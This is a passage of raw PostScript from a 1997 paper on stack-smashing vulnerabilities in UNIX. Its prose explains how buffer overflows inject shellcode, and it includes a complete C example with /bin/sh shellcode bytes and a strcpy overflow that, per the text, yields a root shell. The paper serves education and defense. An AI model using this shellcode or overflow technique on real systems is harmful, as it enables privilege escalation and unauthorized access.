N M 6 71 rr : 0 0 0 sco O ; 4412 2244 N M 6 71 rr : 0 0 0 sco O ; 586 2394 N M 6 6 rr : 0 0 0 sco O ; 586 2394 N M 6 6 rr : 0 0 0 sco O ; 592 2394 N M 3820 6 rr : 0 0 0 sco O ; 4412 2394 N M 6 6 rr : 0 0 0 sco O ; 4412 2394 N M 6 6 rr : 0 0 0 sco O ; 586 2315 N M 6 79 rr : 0 0 0 sco O ; 4412 2315 N M 6 79 rr : 0 0 0 sco O ; 586 2697 N M 6 6 rr : 0 0 0 sco O ; 586 2697 N M 6 6 rr : 0 0 0 sco O ; 592 2697 N M 3820 6 rr : 0 0 0 sco O ; 4412 2697 N M 6 6 rr : 0 0 0 sco O ; 4412 2697 N M 6 6 rr : 0 0 0 sco O ; 586 2703 N M 6 79 rr : 0 0 0 sco O ; 4412 2703 N M 6 79 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 2782 M -0.200 0 (char shellcode[] =)A ; 586 2782 N M 6 71 rr : 0 0 0 sco O ; 4412 2782 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 2853 M -0.200 0 ( "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b")A ; 586 2853 N M 6 71 rr : 0 0 0 sco O ; 4412 2853 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 2924 M -0.200 0 ( "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd")A ; 586 2924 N M 6 71 rr : 0 0 0 sco O ; 4412 2924 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 2995 M -0.200 0 ( "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";)A ; 586 2995 N M 6 71 rr : 0 0 0 sco O ; 4412 2995 N M 6 71 rr : 0 0 0 sco O ; 586 3066 N M 6 71 rr : 0 0 0 sco O ; 4412 3066 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3137 M -0.200 0 (char large_string[128];)A ; 586 3137 N M 6 71 rr : 0 0 0 sco O ; 4412 3137 N M 6 71 rr : 0 0 0 sco O ; 586 3208 N M 6 71 rr : 0 0 0 sco O ; 4412 3208 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3279 M -0.200 0 (void main\(\) {)A ; 586 3279 N M 6 71 rr : 0 0 0 sco O ; 4412 3279 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3350 M -0.200 0 ( char buffer[96];)A ; 586 3350 N M 6 71 rr : 0 0 0 sco O ; 4412 3350 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3421 M -0.200 0 ( int i;)A ; 586 3421 N M 6 71 rr : 0 0 0 sco O ; 4412 3421 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3492 M -0.200 0 ( long *long_ptr = \(long *\) large_string; /*long_ptr takes the address of large_string /*)A ; 586 3492 N M 6 71 rr : 0 0 0 sco O ; 4412 3492 N M 6 71 rr : 0 0 0 sco O ; 586 3563 N M 6 71 rr : 0 0 0 sco O ; 4412 3563 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3634 M -0.200 0 ( /* large_string\222s first 32 bytes are filled with the address of buffer */)A ; 586 3634 N M 6 71 rr : 0 0 0 sco O ; 4412 3634 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3705 M -0.200 0 ( for \(i = 0; i < 32; i++\))A ; 586 3705 N M 6 71 rr : 0 0 0 sco O ; 4412 3705 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3776 M -0.200 0 ( *\(long_ptr + i\) = \(int\) buffer;)A ; 586 3776 N M 6 71 rr : 0 0 0 sco O ; 4412 3776 N M 6 71 rr : 0 0 0 sco O ; 586 3847 N M 6 71 rr : 0 0 0 sco O ; 4412 3847 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3918 M -0.200 0 ( /* copy the contents of shellcode into large_string */)A ; 586 3918 N M 6 71 rr : 0 0 0 sco O ; 4412 3918 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 3989 M -0.200 0 ( for \(i = 0; i < strlen\(shellcode\); i++\))A ; 586 3989 N M 6 71 rr : 0 0 0 sco O ; 4412 3989 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 4060 M -0.200 0 ( large_string[i] = shellcode[i];)A ; 586 4060 N M 6 71 rr : 0 0 0 sco O ; 4412 4060 N M 6 71 rr : 0 0 0 sco O ; 586 4131 N M 6 71 rr : 0 0 0 sco O ; 4412 4131 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 4202 M -0.200 0 ( /* buffer gets the shellcode and 32 pointers back to itself */)A ; 586 4202 N M 6 71 rr : 0 0 0 sco O ; 4412 4202 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 4273 M -0.200 0 ( strcpy\(buffer,large_string\);)A ; 586 4273 N M 6 71 rr : 0 0 0 sco O ; 4412 4273 N M 6 71 rr : 0 0 0 sco O ; : 511 2697 3982 1803 rc 0 0 0 sco F5_67 Ji 612 4344 M -0.200 0 (})A ; 586 4344 N M 6 71 rr : 0 0 0 sco O ; 4412 4344 N M 6 71 rr : 0 0 0 sco O ; 586 4494 N M 6 6 rr : 0 0 0 sco O ; 586 4494 N M 6 6 rr : 0 0 0 sco O ; 592 4494 N M 3820 6 rr : 0 0 0 sco O ; 4412 4494 N M 6 6 rr : 0 0 0 sco O ; 4412 4494 N M 6 6 rr : 0 0 0 sco O ; 586 4415 N M 6 79 rr : 0 0 0 sco O ; 4412 4415 N M 6 79 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 18 ]%%) = %%PageTrailer %%Page: 19 19 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (19)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 1229 2586 M 0.201 0 (Figure 9.c)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1586 2587 M -0.003 0 ( - Buffer Overflow Example 9.a before and after )A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F4) cvn 0.783 (Courier) cvn /Type1 T (Courier) cvn mF (F4_83) cvn F4 83 xF F4_83 Ji 3213 2596 M 0.200 0 (strcpy\(\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 3613 2587 M 0.108 0 ( call.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 2884 M -0.100 0 (E)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 1.400 0 32 -0.400 0 (e )D 1.000 0 32 (9.b )W -0.400 0 (a)A 1.000 0 32 (nd )W -0.600 0 (F)A 0.200 0 (i)A -1.000 0 (g)A (u)S -0.300 0 (r)A 1.400 0 32 -0.400 0 (e )D (9.)S 1.400 0 32 -0.400 0 (c )D (d)S -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (a)A 0.800 0 32 0.200 0 (il )D 1.400 0 32 -0.400 0 (a )D -0.300 0 (f)A (u)S 1.800 0 32 0.200 0 (ll )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 2.400 0 32 -0.400 0 (e )D (o)S 2.300 0 32 -0.300 0 (f )D 2.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 2.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 3.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -0.400 0 (e)A (qu)S -0.400 0 (e)A (n)S -0.400 0 (ce)A 2.000 0 32 (. )W -2.300 0 (I)A 2.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 0.200 0 (i)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3061 M -0.400 0 (c)A (od)S 2.400 0 32 -0.400 0 (e )D -0.200 0 (w)A -0.400 0 (e)A -0.300 0 (r)A 2.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 3.000 0 32 (d, )W -0.400 0 (a)A 3.000 0 32 (nd )W -0.400 0 (c)A (on)S -0.300 0 (f)A 0.200 0 (i)A -1.000 0 (g)A (u)S -0.300 0 (r)A -0.400 0 (e)A 3.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 3.000 0 32 (h )W 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 3.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 2.800 0 32 0.200 0 (t )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A (on)S 0.100 0 (s)A 3.000 0 32 (, )W -0.400 0 (a)A 3.000 0 32 (nd )W 0.200 0 (m)A -0.400 0 (a)A (d)S 3.400 0 32 -0.400 0 (e )D -0.200 0 (w)A (o)S -0.300 0 (r)A 0.200 0 (l)A 3.000 0 32 (d )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3238 M 5.000 0 32 (on )W 5.400 0 32 -0.400 0 (a )D -0.200 0 (UN)A -2.300 0 (I)A 5.200 0 32 -0.200 0 (X )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 5.000 0 32 (, )W 5.800 0 32 0.200 0 (it )D -0.200 0 (w)A (ou)S 0.200 0 (l)A 6.000 0 32 (d )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A 6.000 0 32 (n )W -0.400 0 (a)A 6.000 0 32 (n )W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (ti)A (v)S -0.400 0 (e)A 6.000 0 32 (, p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 6.000 0 32 (d )W 0.100 0 (s)A (h)S -0.400 0 (e)A 5.800 0 32 0.200 0 (ll )D -0.300 0 (f)A (o)S 6.300 0 32 -0.300 0 (r )D -0.400 0 (a)A (n)S 9.000 0 32 -3.000 0 (y )D (u)S 0.100 0 (s)A -0.400 0 (e)A 6.300 0 32 -0.300 0 (r )D 6.000 0 32 (on )W 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3415 M -0.193 0 (who ran the resulting binary.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 3593 M 0.153 0 (9.1 Creative stack smashing)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3798 M -0.100 0 (E)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 6.400 0 32 -0.400 0 (e )D 6.000 0 32 (9.b )W 0.200 0 (i)A 5.900 0 32 0.100 0 (s )D (no)S 5.800 0 32 0.200 0 (t )D 6.400 0 32 -0.400 0 (a )D 0.200 0 (t)A -3.000 0 (y)A (p)S 0.200 0 (i)A -0.400 0 (ca)A 5.800 0 32 0.200 0 (l )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 6.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -0.400 0 (e)A (qu)S -0.400 0 (e)A (n)S -0.400 0 (ce)A 6.000 0 32 (. )W 7.000 0 32 ( )W 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 7.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 6.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 6.900 0 32 0.100 0 (s )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (l)A (ud)S -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3975 M 0.200 0 (i)A 3.000 0 32 (n )W -0.200 0 (UN)A -2.300 0 (I)A 3.200 0 32 -0.200 0 (X )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A (on)S 2.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 3.400 0 32 -0.400 0 (e )D (no)S 2.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A -0.400 0 (ec)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 3.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 3.000 0 32 (h )W -0.400 0 (\223)A 0.100 0 (s)A (h)S -0.400 0 (e)A 2.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 3.400 0 32 -0.400 0 (e\224 a)D 2.900 0 32 0.100 0 (s )D (p)S -0.400 0 (a)A -0.300 0 (r)A 2.800 0 32 0.200 0 (t )D (o)S 4.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D (b)S 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A -3.000 0 (y)A 4.000 0 32 (. )W -0.100 0 (T)A 4.000 0 32 (o )W -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4152 M 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 17.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -3.000 0 (y)A (p)S 17.400 0 32 -0.400 0 (e )D (o)S 17.300 0 32 -0.300 0 (f )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.100 0 (s)A 17.000 0 32 (, )W 0.100 0 (s)A (o)S 0.200 0 (m)A 17.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (ea)A (n)S 16.900 0 32 0.100 0 (s )D 0.200 0 (m)A (u)S 0.100 0 (s)A 16.800 0 32 0.200 0 (t )D (b)S 17.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 17.000 0 32 (d )W 0.200 0 (t)A 17.000 0 32 (o )W 0.200 0 (i)A (n)S 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A 16.800 0 32 0.200 0 (t t)D (h)S 17.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F4_83 Ji 3334 4177 M 0.200 0 (shellcode)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3784 4152 M 18.000 0 32 ( )W -0.400 0 (a)A -0.300 0 (rr)A -0.400 0 (a)A 21.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S 0.200 0 (t)A 18.000 0 32 (o )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4329 M -0.090 0 (runtime environment. Stack smashers have devised creative ways to accomplish this.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4506 M -2.300 0 (I)A 30.000 0 32 (n o)W -0.300 0 (r)A (d)S -0.400 0 (e)A 30.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 30.000 0 32 (o )W 0.200 0 (i)A (n)S 0.200 0 (j)A -0.400 0 (ec)A 29.800 0 32 0.200 0 (t t)D (h)S 30.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 29.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 30.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S 0.200 0 (t)A 30.000 0 32 (o )W 0.200 0 (t)A (h)S 30.400 0 32 -0.400 0 (e )D -0.300 0 (r)A (un)S 0.200 0 (tim)A 30.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 0.100 0 (ss)A 31.000 0 32 (, )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 31.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S -0.400 0 (e)A -0.300 0 (r)A 30.900 0 32 0.100 0 (s )D (h)S -0.400 0 (a)A (v)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4683 M 0.200 0 (m)A -0.400 0 (a)A (n)S 0.200 0 (i)A (pu)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 25.000 0 32 (d )W -0.400 0 (c)A (o)S 0.200 0 (mm)A -0.400 0 (a)A 25.000 0 32 (nd )W 0.200 0 (li)A (n)S 25.400 0 32 -0.400 0 (e a)D -0.300 0 (r)A -1.000 0 (g)A (u)S 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A 0.100 0 (s)A 25.000 0 32 (, )W 0.100 0 (s)A (h)S -0.400 0 (e)A 24.800 0 32 0.200 0 (ll )D -0.400 0 (e)A (nv)S 0.200 0 (i)A -0.300 0 (r)A (on)S 0.200 0 (m)A -0.400 0 (e)A (n)S 24.800 0 32 0.200 0 (t )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 0.100 0 (s)A 25.000 0 32 (, )W -0.400 0 (a)A 26.000 0 32 (nd )W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (ti)A (v)S 26.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (npu)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4860 M -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 5.900 0 32 0.100 0 (s )D -0.200 0 (w)A 0.200 0 (it)A 6.000 0 32 (h )W 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D (n)S -0.400 0 (ece)A 0.100 0 (ss)A -0.400 0 (a)A -0.300 0 (r)A 9.000 0 32 -3.000 0 (y )D 0.100 0 (s)A (h)S -0.400 0 (e)A 5.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 6.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (e)A (qu)S -0.400 0 (e)A (n)S -0.400 0 (ce)A 6.000 0 32 (. )W -0.200 0 (N)A (o)S 5.800 0 32 0.200 0 (t )D (on)S 0.200 0 (l)A 9.000 0 32 -3.000 0 (y )D 6.000 0 32 (do )W 0.200 0 (m)A (o)S 0.100 0 (s)A 6.800 0 32 0.200 0 (t )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 7.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5037 M -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (l)A 5.000 0 32 -3.000 0 (y )D 2.000 0 32 (upon )W 0.100 0 (s)A (h)S -0.400 0 (e)A 1.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 2.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 2.000 0 32 (o )W -0.400 0 (acc)A (o)S 0.200 0 (m)A (p)S 0.200 0 (li)A 0.100 0 (s)A 2.000 0 32 (h )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.200 0 (i)A 2.300 0 32 -0.300 0 (r )D 0.200 0 (t)A -0.400 0 (a)A 0.100 0 (s)A 2.000 0 32 (k, bu)W 1.800 0 32 0.200 0 (t t)D (h)S -0.400 0 (e)A 0.100 0 (s)A 2.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -3.000 0 (y)A (p)S 2.400 0 32 -0.400 0 (e )D (o)S 3.300 0 32 -0.300 0 (f )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 2.900 0 32 0.100 0 (s )D (d)S -0.400 0 (e)A (p)S -0.400 0 (e)A 3.000 0 32 (nd on kno)W -0.200 0 (w)A 0.200 0 (i)A (n)S 4.000 0 32 -1.000 0 (g )D -0.400 0 (a)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5214 M -0.200 0 (w)A (h)S -0.400 0 (a)A 14.800 0 32 0.200 0 (t )D -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 15.900 0 32 0.100 0 (ss )D 0.200 0 (i)A 16.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 19.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 0.200 0 (i)A 15.900 0 32 0.100 0 (s s)D (h)S -0.400 0 (e)A 15.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 16.400 0 32 -0.400 0 (e )D -0.200 0 (w)A 15.800 0 32 0.200 0 (ill )D -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (i)A (d)S -0.400 0 (e)A 16.000 0 32 (. )W -0.100 0 (T)A -0.400 0 (a)A (k)S 0.200 0 (i)A (n)S 17.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 0.200 0 (i)A 15.900 0 32 0.100 0 (s )D 0.200 0 (i)A (n)S 0.200 0 (t)A 16.000 0 32 (o )W -0.400 0 (c)A (on)S 0.100 0 (s)A 0.200 0 (i)A (d)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A 16.000 0 32 (on, )W 0.200 0 (m)A -0.400 0 (a)A (n)S -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5391 M 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 7.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S -0.400 0 (e)A -0.300 0 (r)A 6.900 0 32 0.100 0 (s )D (h)S -0.400 0 (a)A (v)S 7.400 0 32 -0.400 0 (e )D (p)S -0.400 0 (a)A (dd)S -0.400 0 (e)A 7.000 0 32 (d )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.200 0 (i)A 7.300 0 32 -0.300 0 (r )D 0.100 0 (s)A (h)S -0.400 0 (e)A 6.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 7.400 0 32 -0.400 0 (e )D -0.200 0 (w)A 0.200 0 (it)A 7.000 0 32 (h )W -0.200 0 (NU)A 10.100 0 32 -2.100 0 (LL )D -0.300 0 (\()A (o)S 8.300 0 32 -0.300 0 (r )D (no)S -0.300 0 (-)A (op)S 8.300 0 32 -0.300 0 (\) )D -0.400 0 (a)A 0.100 0 (ss)A -0.400 0 (e)A 0.200 0 (m)A (b)S 0.200 0 (l)A 11.000 0 32 -3.000 0 (y )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 7.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 0.200 0 (i)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5568 M -1.000 0 (g)A 0.200 0 (i)A (v)S -0.400 0 (e)A 7.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 7.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 8.400 0 32 -0.400 0 (e a )D -0.300 0 (\221)A -0.200 0 (w)A 0.200 0 (i)A (d)S -0.400 0 (e)A 8.300 0 32 -0.300 0 (r )D 0.100 0 (s)A (p)S -0.400 0 (ace)A 8.300 0 32 -0.300 0 (\222 )D 0.200 0 (i)A 8.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 11.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 8.000 0 32 (nd )W 0.200 0 (m)A -0.400 0 (a)A (k)S -0.400 0 (e)A 7.900 0 32 0.100 0 (s )D 7.800 0 32 0.200 0 (it )D -0.400 0 (ea)A 0.100 0 (s)A 0.200 0 (i)A -0.400 0 (e)A 8.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 9.000 0 32 (o )W -1.000 0 (g)A (u)S -0.400 0 (e)A 8.900 0 32 0.100 0 (ss )D -0.200 0 (w)A (h)S -0.400 0 (e)A -0.300 0 (r)A 9.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 0.200 0 (ll)A ; 986 695 N M 1196 1664 rr : 1.000 1.000 1.000 sco O ; 12 Lw 0 Lc 0 Lj solid 0 0 0 sco K : 1540 2065 140 90 rc 0 0 0 sco (F2_66) cvn F2 66 xF F2_66 Ji 1540 2067 M -1.000 0 (b)A -1.674 0 (ss)A ; 980 2195 N M 0 -170 - 6 Lw 1 Lc 1 Lj solid 0 0 0 sco K 2186 2195 N M 0 -170 - 0 0 0 sco K 980 2195 N M 1208 0 - 0 0 0 sco K 980 2363 N M 0 -170 - 0 0 0 sco K 2186 2363 N M 0 -170 - 0 0 0 sco K 980 1359 N M 1208 0 - 0 0 0 sco K 980 691 N M 1206 4 rr : 0.251 0.251 0.251 sco O ; 980 695 N M 1206 6 rr : 0.259 0.259 0.259 sco O ; 980 701 N M 1206 4 rr : 0.267 0.267 0.267 sco O ; 980 705 N M 1206 6 rr : 0.275 0.275 0.275 sco O ; 980 711 N M 1206 4 rr : 0.282 0.282 0.282 sco O ; 980 715 N M 1206 6 rr : 0.290 0.290 0.290 sco O ; 980 721 N M 1206 4 rr : 0.298 0.298 0.298 sco O ; 980 725 N M 1206 6 rr : 0.306 0.306 0.306 sco O ; 980 731 N M 1206 4 rr : 0.314 0.314 0.314 sco O ; 980 735 N M 1206 6 rr : 0.322 0.322 0.322 sco O ; 980 741 N M 1206 6 rr : 0.329 0.329 0.329 sco O ; 980 747 N M 1206 4 rr : 0.337 0.337 0.337 sco O ; 980 751 N M 1206 4 rr : 0.345 0.345 0.345 sco O ; 980 755 N M 1206 6 rr : 0.353 0.353 0.353 sco O ; 980 761 N M 1206 6 rr : 0.361 0.361 0.361 sco O ; 980 767 N M 1206 4 rr : 0.369 0.369 0.369 sco O ; 980 771 N M 1206 6 rr : 0.376 0.376 0.376 sco O ; 980 777 N M 1206 4 rr : 0.384 0.384 0.384 sco O ; 980 781 N M 1206 6 rr : 0.392 0.392 0.392 sco O ; 980 787 N M 1206 4 rr : 0.400 0.400 0.400 sco O ; 980 791 N M 1206 6 rr : 0.408 0.408 0.408 sco O ; 980 797 N M 1206 4 rr : 0.416 0.416 0.416 sco O ; 980 801 N M 1206 6 rr : 0.424 